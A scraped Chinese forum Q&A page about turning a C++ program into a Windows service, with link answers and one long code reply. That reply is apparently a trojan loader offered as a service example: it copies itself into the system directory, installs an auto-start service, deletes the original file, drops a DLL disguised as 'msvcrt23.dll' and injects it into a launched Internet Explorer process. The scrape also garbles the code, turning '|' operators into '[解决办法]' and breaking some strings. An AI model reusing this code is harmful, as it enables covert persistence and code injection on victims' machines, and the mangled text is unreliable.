首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

c++做成windows服务解决方法

2014-01-09 
c++做成windows服务求代码,和用法搜了半天,都不能用只能顶一下了[解决办法]http://hi.baidu.com/hjjandy/i

c++做成windows服务
求代码,和用法搜了半天,都不能用c++做成windows服务解决方法 只能顶一下了
[解决办法]
http://hi.baidu.com/hjjandy/item/afbd7334516d5d80c2cf29a4
可以给你参考下
[解决办法]
http://blog.csdn.net/qqwx_1986/article/details/6150284
[解决办法]
参考TightVNC中win-system模块下的Service.h


[解决办法]
是启一个后台服务还是注册到服务中?
[解决办法]
http://msdn.microsoft.com/en-us/library/bb540476(v=vs.85).aspx


[解决办法]
这个没这么难吧?好好看一下代码,然后试一试,不要拿到代码就复制、粘贴然后编译运行
[解决办法]
LZ去下载TightVNC开源代码来看看....
教程也有..
[解决办法]
一下是一个项目的代码片段,完整项目有需要联系我
//以下是服务的外壳。不用管这么多。因为要写注释也不知道怎么写。格式是固定的 


static SERVICE_STATUS srvStatus;
static SERVICE_STATUS_HANDLE hSrv;
static void __stdcall SvcCtrlFnct(DWORD CtrlCode)
{
switch(CtrlCode)
{
case SERVICE_CONTROL_STOP:
srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_STOP_PENDING;
SetServiceStatus(hSrv,&srvStatus);
Sleep(500);
srvStatus.dwCheckPoint=0;
srvStatus.dwCurrentState=SERVICE_STOPPED;
break;
case SERVICE_CONTROL_SHUTDOWN:
srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_STOP_PENDING;
SetServiceStatus(hSrv,&srvStatus);
Sleep(500);
srvStatus.dwCheckPoint=0;
srvStatus.dwCurrentState=SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_PAUSE_PENDING;
SetServiceStatus(hSrv,&srvStatus);
Sleep(500);
srvStatus.dwCheckPoint=0;
srvStatus.dwCurrentState=SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_CONTINUE_PENDING;
SetServiceStatus(hSrv,&srvStatus);
Sleep(500);
srvStatus.dwCheckPoint=0;
srvStatus.dwCurrentState=SERVICE_RUNNING;
break;
}
SetServiceStatus(hSrv,&srvStatus);
}

static BOOL service_is_exist()
{
char SubKey[MAX_PATH]={0};
strcpy(SubKey,"SYSTEM\\CurrentControlSet\\Services\");
strcat(SubKey,modify_data.ws_svcname);

HKEY hKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
return TRUE;
else
return FALSE;
}

void RunService(char *m_ServiceName,char *m_DisplayName,char *m_Description)
{
char FilePath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH);
char SystemPath[MAX_PATH];
GetSystemDirectory(SystemPath,MAX_PATH);
if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0)
{
char FileTitle[80];
GetFileTitle(FilePath,FileTitle,80);
if (strstr(FileTitle,".exe") == NULL)
strcat(FileTitle,".exe");
strcat(SystemPath,"\");
strcat(SystemPath,FileTitle);
CopyFile(FilePath,SystemPath,FALSE);
memset(FilePath,0,MAX_PATH);
strcpy(FilePath,SystemPath);
fDelete_Me = TRUE;
}
char Desc[MAX_PATH];
HKEY key=NULL;
SC_HANDLE newService=NULL, scm=NULL;
__try
{
scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if (!scm)
__leave;
newService = CreateService(
scm, m_ServiceName, 
m_DisplayName,
SERVICE_ALL_ACCESS
[解决办法]
SERVICE_INTERACTIVE_PROCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
FilePath,
NULL, NULL, NULL, NULL, NULL);
if (newService == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
newService = OpenService(scm,m_ServiceName,SERVICE_ALL_ACCESS);
if (newService==NULL)
__leave;
else
StartService(newService,0, 0);
}
}
if (!StartService(newService,0, 0))
__leave;
strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\");
strcat(Desc,m_ServiceName);
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description));
}
__finally
{
if (newService!=NULL)
CloseServiceHandle(newService);
if (scm!=NULL)
CloseServiceHandle(scm);
if (key!=NULL) 
RegCloseKey(key);
}
}

void ServiceMain(DWORD dwargc,wchar_t* argv[])
{
hSrv=RegisterServiceCtrlHandler(modify_data.ws_svcname,SvcCtrlFnct);
srvStatus.dwServiceType=SERVICE_WIN32_SHARE_PROCESS;
srvStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP 
[解决办法]
 SERVICE_ACCEPT_PAUSE_CONTINUE 
[解决办法]
 SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode=NO_ERROR;
srvStatus.dwWaitHint=2000;
srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_START_PENDING;
SetServiceStatus(hSrv,&srvStatus);
srvStatus.dwCheckPoint=0;
Sleep(500);
srvStatus.dwCurrentState=SERVICE_RUNNING;
SetServiceStatus(hSrv,&srvStatus);
//
char DLLPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH,DLLPath);
strcat(DLLPath,"\\msvcrt23.dll");
LoadSource(IDR_DLL,"DLL",DLLPath);
SetIni();

char SubKey[MAX_PATH]={0};
strcpy(SubKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\IEXPLORE.EXE\0");
HKEY hKey;
DWORD dwType;
DWORD dwSize=254;
char IePath[255];
RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey);
RegQueryValueEx(hKey,0L,NULL,&dwType,(BYTE *)IePath,&dwSize);
PROCESS_INFORMATION PI;
STARTUPINFO SI;
memset(&SI, 0, sizeof(SI));
SI.cb = sizeof(SI);
CreateProcess(IePath, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);

if (PI.dwProcessId != 0)
InjectLib(PI.dwProcessId,DLLPath);

Sleep(1000);


srvStatus.dwCheckPoint=1;
srvStatus.dwCurrentState=SERVICE_STOP_PENDING;
SetServiceStatus(hSrv,&srvStatus);
srvStatus.dwCheckPoint=0;
srvStatus.dwCurrentState=SERVICE_STOPPED;
SetServiceStatus(hSrv,&srvStatus);
return;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
if (service_is_exist())
{
SERVICE_TABLE_ENTRY serviceTable[] = 
{
{modify_data.ws_svcname,(LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL,NULL}
};
StartServiceCtrlDispatcher(serviceTable);
}
else
{
RunService(modify_data.ws_svcname,modify_data.ws_svcdisplay,modify_data.ws_svcdesc);
if (fDelete_Me)
{
DeleteMe();
exit(0);
}
}
return 0;
}

热点排行